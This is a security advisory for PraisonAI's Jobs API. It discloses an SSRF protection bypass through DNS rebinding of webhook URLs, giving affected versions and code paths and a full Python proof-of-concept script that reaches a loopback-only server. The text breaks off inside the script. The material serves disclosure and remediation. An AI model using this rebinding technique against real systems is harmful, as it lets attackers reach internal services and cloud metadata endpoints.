GHSA-rjvw-7vvw-549v PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding

• PyPI praisonai: >= 4.5.126, < 4.6.59 → fixed in 4.6.59

Jobs webhook SSRF protection bypass via DNS rebinding Summary PraisonAI's Async Jobs API validates `webhook_url` when a job request is parsed and again when the internal `Job` object is constructed. That validation blocks direct loopback/private targets, but it is not bound to the later network request. When a job completes, `_send_webhook()` passes the original hostname to `httpx.AsyncClient.post()` with no send-time validation, IP pinning, or guarded transport. An attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases. This appears to be an incomplete fix / patch bypass for `GHSA-8frj-8q3m-xhgm` ("Server-Side Request Forgery via Unvalidated webhook_url in Jobs API"). I defer to maintainers on whether this should be a new advisory/CVE or an amendment to the prior advisory, but current supported releases still appear affected. Affected Component Package: ```text praisonai ``` Files: ```text src/praisonai/praisonai/jobs/models.py src/praisonai/praisonai/jobs/executor.py src/praisonai/praisonai/jobs/router.py ``` Relevant code paths: ```text JobSubmitRequest.validate_webhook_url() Job.validate_webhook_url() JobExecutor._send_webhook() POST /api/v1/runs ``` Affected Versions Validated affected: • `v4.5.126` (`f00763937bf7f4d091e84533692fc0576fca9b99`); • `v4.5.128` (`b4e3a8a8`); • `v4.6.56` (`d3c4a2af`); • `v4.6.57` (`e90d92231853161ad931f3498da57651a9f8b528`); • current `main` (`2f9677abb2ea68eab864ee8b6a828fd0141612e1`, `v4.6.57-4-g2f9677ab`). Suggested affected range for maintainer confirmation: ```text >= 4.5.126, /hook INTERNAL_SERVER_HIT: true INTERNAL_REQUEST_HOST: rebind.test: INTERNAL_REQUEST_PATH: /hook WEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status WEBHOOK_PAYLOAD_STATUS: succeeded PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding ``` The direct control proves that the current guard is meant to reject loopback webhook destinations. The rebind case proves the same blocked destination class is reached when the hostname changes between validation and delivery. Full Local PoV Script ```python !/usr/bin/env python3 """Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF. The PoV uses only loopback services. It models an attacker-controlled hostname that resolves to a public IP during PraisonAI's Pydantic validation, then resolves to loopback when the async webhook sender later opens the connection. """ from __future__ import annotations import asyncio import json import queue import socket import threading from http.server import BaseHTTPRequestHandler, HTTPServer from typing import Any from praisonai.jobs.executor import JobExecutor from praisonai.jobs.models import Job, JobSubmitRequest ATTACKER_HOST = "rebind.test" PUBLIC_IP = "93.184.216.34" class InternalHandler(BaseHTTPRequestHandler): def do_POST(self) -> None: # noqa: N802 length = int(self.headers.get("content-length", "0")) body = self.rfile.read(length) self.server.received.put( # type: ignore[attr-defined] { "path": self.path, "host": self.headers.get("host"), "body": body.decode("utf-8", "replace"), } ) self.send_response(204) self.end_headers() def log_message(self, *_args: Any) -> None: return def assert_direct_loopback_blocked(port: int) -> None: blocked = {} direct_url = f"http://127.0.0.1:{port}/hook" for model in (JobSubmitRequest, Job): try: model(prompt="x", webhook_url=direct_url) blocked[model.__name__] = False except Exception: blocked[model.__name__] = True print("DIRECT_LOOPBACK_BLOCKED:", json.dumps(blocked, sort_keys=True)) if not all(blocked.values()): raise SystemExit("control failed: direct loopback webhook URL was accepted") def build_validated_job(port: int) -> Job: original_gethostbyname = socket.gethostbyname def validation_gethostbyname(host: str) -> str: if host == ATTACKER_HOST: return PUBLIC_IP return original_gethostbyname(host) socket.gethostbyname = validation_gethostbyname try: webhook_url = f"http://{ATTACKER_HOST}:{port}/hook" request = JobSubmitRequest(prompt="x", webhook_url=webhook_url) job = Job(prompt=request.prompt, webhook_url=request.webhook_url) job.succeed({"pov": "job result sent to webhook"}) return job finally: socket.gethostbyname = original_gethostbyname async def send_after_rebind(job: Job, port: int) -> None: original_getaddrinfo = socket.getaddrinfo def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any): normalized_host = host.decode() if isinstance(host, bytes) else host if normalized_host == ATTACKER_HOST: return [ ( socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", ("127.0.0.1", port_arg), ) ] return original_getaddrinfo(host, port_arg, *args, **kwargs) socket.getaddrinfo = send_getaddrinfo try: await JobExecutor(store=None)._send_webhook(job) # type: ignore[arg-type] finally: socket.getaddrinfo = original_getaddrinfo def main() -> int: received: queue.Queue[dict[str, str]] = queue.Queue() server = HTTPServer(("127.0.0.1", 0), InternalHandler) server.received = received # type: ignore[attr-defined] port = int(server.server_port) thread = threading.Thread(target=server.handle_request, daemon=True) thread.start() try: assert_direct_loopback_blocked(port) job = build_validated_job(port) print("ACCEPTED_WEBHOOK_URL:", job.webhook_url) asyncio.run(send_after_rebind(job, port)) finally: server.server_close() try: hit = received.get_nowait() except queue.Empty: raise SystemExit("bypass failed: loopback-only webhook receiver was not hit") payload = json.loads(hit["body"]) print("INTERNAL_SERVER_HIT: true") print("INTERNAL_REQUEST_HOST:", hit["host"]) pri…